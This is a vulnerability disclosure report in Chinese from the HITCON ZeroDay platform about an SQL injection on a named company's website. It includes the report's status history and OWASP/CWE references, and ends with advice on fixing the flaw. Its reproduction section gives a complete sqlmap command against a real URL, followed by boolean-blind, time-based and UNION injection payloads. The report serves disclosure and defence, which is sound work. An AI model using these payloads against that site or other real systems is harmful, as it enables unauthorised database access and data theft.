Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2019-01278
- 發信 Vendor: 永盛探勘機械有限公司
- Title: 永盛探勘機械有限公司 SQL Injection
- Introduction: SQL Injection
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2019/11/22 16:47:33 : 新提交 (由 huvo 更新此狀態)
- 2019/11/23 02:10:56 : 新提交 (由 huvo 更新此狀態)
- 2019/11/24 22:07:33 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/11/26 15:02:58 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/11/26 15:02:58 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/11/26 15:02:58 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/01/22 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID：ZD-2019-01278
- 通報者：huvo (huvo)
- 風險：高
- 類型：資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明： OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明： OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明： CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式： OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
敘述
該頁面有 SQL Injection 之風險。
-
方式:
滲透測試工具 SQLMap 掃瞄該網址。 -
影響:
可列舉資料庫，並取得後端資料庫機密內容。 -
漏洞重現:
sqlmap -u "http://everdrill.com.tw/main.php?id=25" --dbms=MySQL --dbsParameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=25 AND 4053=4053Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=25 AND (SELECT 3318 FROM (SELECT(SLEEP(10)))VjoX)Type: UNION query
Title: Generic UNION query (NULL) - 15 columns
Payload: id=-9528 UNION ALL SELECT NULL,NULL,CONCAT(0x7178706b71,0x76496273735a416f59434367705446664859516b5578664256796d544873725377654b6a5064426b,0x7171766a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- McDl -
掃瞄結果(截圖):
修補建議
1. 部屬資安防護套件 (WAF)。
2. 後端程式進行 SQL 查詢時，建議使用 Prepare Command。